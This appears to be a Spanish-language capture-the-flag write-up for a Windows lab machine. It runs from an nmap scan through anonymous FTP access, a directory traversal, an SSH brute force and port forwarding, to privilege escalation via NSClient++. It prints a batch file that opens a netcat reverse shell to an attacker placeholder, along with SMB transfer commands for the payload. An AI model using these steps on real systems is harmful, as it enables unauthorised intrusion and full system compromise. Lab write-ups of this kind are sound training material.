# Nmap 7.94SVN scan initiated Wed Sep 25 11:28:46 2024 as: nmap -p135,139,21,22,445,49664,49665,49666,49667,49668,49669,49670,5666,6063,6699,80,8443 -sCV -T5 -oN Targeted 10.10.10.184
Nmap scan report for 10.10.10.184
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22 07:35PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
| 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)
80/tcp open http
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open tcpwrapped
6699/tcp open napster?
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after: 2021-01-13T13:24:20
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| workers
|_ jobs
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=9/25%Time=66F3D7D3%P=x86_64-pc-linux-gnu%r(N
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.94SVN%T=SSL%I=7%D=9/25%Time=66F3D7DB%P=x86_64-pc-linux
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-25T09:30:46
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Explotación
En el reporte encontramos el ftp como anonymous, lo que encontramos dentro son los siguientes archivos:
Nos dice que en el escritorio de Nathan se encuentra el fichero Passwords.txt, al buscar en exploitdb y encontramos un Directory Traversal
Una vez sabiendo que es vulnerable dice en el archivo que nos hemos descargado de el ftp que el archivo, Passwords.txt se encuentra en el Desktop de Nathan
vamos a comprobar las siguientes credencilaes en el ssh con los dos usuarios vía fuerza bruta
Escalada de Privilegios
Al investigar la máquina, descubrimos que el puerto 8443 está ejecutando un servicio llamado NSClient++, el cual es vulnerable a una escalada de privilegios. Sin embargo, no es posible acceder a este servicio desde el exterior, por lo que es necesario realizar un port forwarding para redirigir el tráfico y poder interactuar con él.
Con el siguiente comando lo que vamos a hacer es que su puerto 8443 se converta en el puerto 8443 de mi máquina local
ssh Nadine@10.10.10.184 -L 8443:127.0.0.1:8443
Es probable que en firefox no os vaya la página de el NSClient, debes probar varios navegadores hasta ver algo como esto:
Empecemos con la escalada siguiendo los pasos de la vulnerabilidad de exploitdb:
Creamos una contraseña
Habilitamos la configuración CheckExternalScripts y Scheduler, los cuales vienen ya habilitados sin que toquemos nada,
Descargar nc.exe y evil.bat en el directorio Temp
# Contenido de evil.bat
@echo off
c:\temp\nc.exe <ip_atacante> 443 -e cmd.exe
La trasferencia de archivos es peculiar, ya que de otra manera nos bloquea:
# Máquina Atacante
impacket-smbserver smbFolder . -smb2support -username manu -password manu123
# Máquina Víctima
net use x: \\<ip_atacante>\smbFolder /user:manu manu123
dir x:\
copy x:\nc.exe nc.exe
copy x:\evil.bat evil.bat
Le damos a save configuration >> arriba a la derecha Control >> Reload y esperamos a que nos llegue la reverse shell, y ya obtendríamos una shell como nt authority/system
si capturamos y le ponemos el payload de LFI que vemos en la página de exploitdb pues podemos encontrar de que es vulnerable